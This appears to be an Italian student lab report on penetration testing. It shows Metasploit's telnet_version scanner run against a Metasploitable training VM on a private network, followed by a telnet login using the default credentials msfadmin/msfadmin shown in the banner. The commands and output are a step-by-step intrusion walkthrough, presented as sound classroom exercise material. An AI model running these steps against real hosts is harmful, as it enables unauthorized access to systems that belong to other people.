

Exploit Telnet con Metasploit

Indice

Traccia.....	1
Configurazione delle macchine Metasploitable e Kali.....	2
Exploit Telnet con Metasploit.....	3

Traccia

Sulla base dell'esercizio visto in lezione teorica, utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet_version sulla macchina Metasploitable.

Requisito:

Seguire gli step visti in lezione teorica. Prima, configurate l'ip della vostra Kali con 192.168.1.25 e l'ip della vostra Metasploitable con 192.168.1.40.

1 Configurazione delle macchine Metasploitable e Kali

Nella prima fase dell'esercizio sono stati configurati gli IP delle macchine Metasploitable e Kali.

L'indirizzo IP della macchina Metasploitable è stato configurato con **192.168.1.40**.

Mentre l'indirizzo IP della macchina Kali è stato configurato con **192.168.1.25**, come si può vedere nelle immagini riportate qui sotto.

Configurazione di Metasploitable

```

eth0      Link encap:Ethernet  HWaddr 66:40:1d:8e:07:b2
          inet addr:192.168.1.40  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::6440:1dff:fe8e:7b2/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:3775 errors:0 dropped:0 overruns:0 frame:0
          TX packets:202 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:296802 (289.8 KB)  TX bytes:0 (0.0 B)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:320 errors:0 dropped:0 overruns:0 frame:0
          TX packets:320 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:122605 (119.7 KB)  TX bytes:122605 (119.7 KB)
  
```

Configurazione di Kali

```

(kali㉿kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
      inet 192.168.1.25  netmask 255.255.255.0  broadcast 192.168.1.255
      inet6 fe80::28ef:72ff:feb5:5784  prefixlen 64  scopeid 0x20<link>
      ether 2a:ef:72:b5:57:84  txqueuelen 1000  (Ethernet)
      RX packets 324  bytes 31393 (30.6 KiB)
      RX errors 0  dropped 0  overruns 0  frame 0
      TX packets 3523  bytes 153194 (149.6 KiB)
      TX errors 0  dropped 0  overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
      inet 127.0.0.1  netmask 255.0.0.0
      inet6 ::1  prefixlen 128  scopeid 0x10<host>
      loop txqueuelen 1000  (Local Loopback)
      RX packets 4237  bytes 440304 (429.9 KiB)
      RX errors 0  dropped 0  overruns 0  frame 0
      TX packets 4237  bytes 440304 (429.9 KiB)
      TX errors 0  dropped 0  overruns 0  carrier 0  collisions 0
  
```

2 Exploit Telnet con Metasploit

Dopo aver configurato correttamente le macchine passiamo alla fase successiva dell' esercizio, ovvero quella di utilizzare **Metasploit** per sfruttare la vulnerabilità relativa al **Telnet** con il modulo **auxiliary telnet_version** sulla macchina **Metasploitable**.

Iniziamo con avviare Metasploit tramite il comando **msfconsole**.

Con il comando **search telnet** andiamo a cercare il modulo corretto per il nostro attacco.

Per sfruttare questa vulnerabilità del servizio Telnet, utilizziamo il modulo ausiliario **auxiliary/scanner/telnet/telnet_version** che andremo ad utilizzare con la keyword **use** davanti.

```

No  TP-Link SC2020n Authenticated Telnet Injection
34  auxiliary/scanner/telnet/telnet_login normal
No  Telnet Login Check Scanner
35  auxiliary/scanner/telnet/telnet_version normal
No  Telnet Service Banner Detection
36  auxiliary/scanner/telnet/telnet_encrypt_overflow normal
No  Telnet Service Encryption Key ID Overflow Detection

```

Dopodiché controlliamo i parametri richiesti per effettuare l'attacco con il comando **show options**.

```

msf6 auxiliary(scanner/telnet/telnet_version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):

  Name      Current Setting  Required  Description
  ---      -
  PASSWORD          no          The password for the specified username
  RHOSTS            yes         The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT            23          The target port (TCP)
  THREADS           1           The number of concurrent threads (max one per host)
  TIMEOUT           30          Timeout for the Telnet probe
  USERNAME          no          The username to authenticate as

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > ser RHOST 192.168.1.40
[-] Unknown command: ser
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOST 192.168.1.40
RHOST => 192.168.1.40

```

Come possiamo notare ci viene richiesto di inserire il RHOST che andremo a configurare con **set RHOST 192.168.1.40**.

A questo punto possiamo eseguire l'attacco con il comando **exploit**

```
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOST 192.168.1.40
RHOST => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[+] 192.168.1.40:23 - 192.168.1.40:23 TELNET
a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com
\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:
[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) > █
```

Dai risultati ottenuti notiamo che il modulo è riuscito ad ottenere le credenziali di accesso del servizio, username **msfadmin** e password **msfadmin**.

Facciamo un test per verificare che le informazioni ottenute sono corrette, quindi eseguiamo il comando **telnet 192.168.1.40**.

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.40
[*] exec: telnet 192.168.1.40

Trying 192.168.1.40...
Connected to 192.168.1.40.
Escape character is '^]'.

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Login incorrect
metasploitable login: msfadmin
Password:
Last login: Tue Mar  5 09:23:05 EST 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ █
```

S7/L2

Il servizio ci richiede di loggarci, quindi proviamo con le informazioni che ci ha restituito Metasploit, quindi username ***msfadmin***, password ***msfadmin***. Siamo riusciti ad ottenere l'accesso, in modo non autorizzato, alla macchina Metasploitable. Quindi possiamo dire che l'attacco è andato a buon fine.